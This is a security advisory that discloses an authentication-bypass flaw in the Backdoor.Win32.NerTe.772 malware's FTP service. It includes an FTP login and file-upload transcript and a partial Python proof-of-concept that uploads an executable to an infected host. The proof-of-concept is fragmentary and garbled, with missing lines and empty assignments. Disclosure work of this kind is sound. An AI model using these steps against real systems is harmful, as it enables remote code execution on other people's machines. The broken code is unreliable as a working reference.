Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.NerTe.772  
Vulnerability: Authentication Bypass RCE  
Description: The malware listens on TCP ports 21, 80 and drops an executable named "scanregs.exe" under Windows dir. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Type: PE32  
MD5: 464d7073f884b586b17950eef2908a6e  
Vuln ID: MVID-2021-0228  
Dropped files: scanregs.exe  
Disclosure: 05/28/2021  
nc64.exe 21  
220 ICS FTP Server ready.  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
215 UNIX Type: L8 Internet Component Suite  
227 Entering Passive Mode (192,168,18,127,195,83).  
150 Opening data connection for DOOM.exe.  
226 File received ok  
from socket import *  
#195 * 256 + 83  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
f = open(DOOM, "rb")  
EXE =  
while EXE:  
print("Backdoor.Win32.NerTe / Authentication Bypass RCE")  
print("MD5: 464d7073f884b586b17950eef2908a6e")  
print("By Malvuln");  
if __name__=="__main__":  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).